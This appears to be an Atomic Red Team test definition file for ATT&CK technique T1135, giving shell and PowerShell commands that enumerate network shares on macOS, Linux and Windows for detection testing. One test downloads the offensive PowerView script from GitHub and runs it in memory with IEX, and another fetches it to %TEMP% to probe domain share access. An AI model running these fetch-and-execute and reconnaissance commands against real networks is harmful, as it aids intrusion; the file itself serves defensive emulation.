attack_technique: T1135
display_name: Network Share Discovery
atomic_tests:
- name: Network Share Discovery
  auto_generated_guid: f94b5ad9-911c-4eff-9718-fd21899db4f7
  description: |
    Network Share Discovery
  supported_platforms:
  - macos
  input_arguments:
    computer_name:
      description: Computer name to find a mount on.
      type: String
      default: computer1
  executor:
    command: |
      df -aH
      smbutil view -g //#{computer_name}
      showmount #{computer_name}
    name: sh
- name: Network Share Discovery - linux
  auto_generated_guid: 875805bc-9e86-4e87-be86-3a5527315cae
  description: |
    Network Share Discovery using smbstatus
  supported_platforms:
  - linux
  input_arguments:
    package_checker:
      description: Package checking command. Debian - dpkg -s samba
      type: String
      default: (rpm -q samba &>/dev/null) || (dpkg -s samba | grep -q installed)
    package_installer:
      description: Package installer command. Debian - apt install samba
      type: String
      default: (which yum && yum -y epel-release samba)||(which apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y samba)
  dependency_executor_name: bash
  dependencies:
  - description: |
      Package with smbstatus (samba) must exist on device
    prereq_command: |
      if #{package_checker} > /dev/null; then exit 0; else exit 1; fi
    get_prereq_command: |
      sudo #{package_installer} 
  executor:
    command: |
      smbstatus --shares
    name: bash
    elevation_required: true
- name: Network Share Discovery command prompt
  auto_generated_guid: 20f1097d-81c1-405c-8380-32174d493bbb
  description: |
    Network Share Discovery utilizing the command prompt. The computer name variable may need to be modified to point to a different host
    Upon execution avalaible network shares will be displayed in the powershell session
  supported_platforms:
  - windows
  input_arguments:
    computer_name:
      description: Computer name to find a mount on.
      type: String
      default: localhost
  executor:
    command: |
      net view \\#{computer_name}
    name: command_prompt
- name: Network Share Discovery PowerShell
  auto_generated_guid: 1b0814d1-bb24-402d-9615-1b20c50733fb
  description: |
    Network Share Discovery utilizing PowerShell. The computer name variable may need to be modified to point to a different host
    Upon execution, avalaible network shares will be displayed in the powershell session
  supported_platforms:
  - windows
  executor:
    command: |
      get-smbshare
    name: powershell
- name: View available share drives
  auto_generated_guid: ab39a04f-0c93-4540-9ff2-83f862c385ae
  description: View information about all of the resources that are shared on the local computer Upon execution, avalaible share drives will be displayed in the powershell session
  supported_platforms:
  - windows
  executor:
    command: |
      net share
    name: command_prompt
- name: Share Discovery with PowerView
  auto_generated_guid: b1636f0a-ba82-435c-b699-0d78794d8bfd
  description: |
    Enumerate Domain Shares the current user has access. Upon execution, progress info about each share being scanned will be displayed.
  supported_platforms:
  - windows
  dependency_executor_name: powershell
  dependencies:
  - description: |
      Endpoint must be joined to domain
    prereq_command: |
      if ((Get-WmiObject -Class Win32_ComputerSystem).PartofDomain) {exit 0} else {exit 1}
    get_prereq_command: |
      "Join system to domain"
  executor:
    command: |
      [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
      IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Find-DomainShare -CheckShareAccess -Verbose
    name: powershell
- name: PowerView ShareFinder
  auto_generated_guid: d07e4cc1-98ae-447e-9d31-36cb430d28c4
  description: PowerView is a PowerShell tool to gain network situational awareness on Windows domains. ShareFinder finds (non-standard) shares on machines in the domain.
  supported_platforms:
  - windows
  input_arguments:
    parameters:
      description: ShareFinder parameter
      type: String
      default: -CheckShareAccess
  dependencies:
  - description: Invoke-ShareFinder module must exist in %TEMP% directory
    prereq_command: 'if (Test-Path $env:TEMP\PowerView.ps1) {exit 0} else {exit 1}'
    get_prereq_command: |
      Invoke-WebRequest "https://raw.githubusercontent.com/darkoperator/Veil-PowerView/8784e33f17ee7543ba2f45e27dc5f08ea3a1b856/PowerView/powerview.ps1" -OutFile $env:TEMP\PowerView.ps1
  executor:
    command: |
      Import-Module $env:TEMP\PowerView.ps1
      Invoke-ShareFinder #{parameters}
    name: powershell
